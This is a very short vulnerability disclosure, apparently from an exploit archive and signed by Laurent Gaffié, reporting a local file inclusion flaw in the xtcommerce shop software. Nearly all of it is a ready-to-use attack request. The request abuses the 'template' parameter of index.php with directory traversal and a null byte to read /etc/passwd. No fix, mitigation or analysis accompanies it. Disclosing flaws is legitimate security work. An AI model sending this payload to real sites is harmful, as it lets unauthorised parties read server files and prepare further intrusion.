xtcommerce local file include

local file include:
/index.php?currency=EUR&manufacturers_id=1&template =../../../../../../../../etc/passwd%00

regards laurent gaffié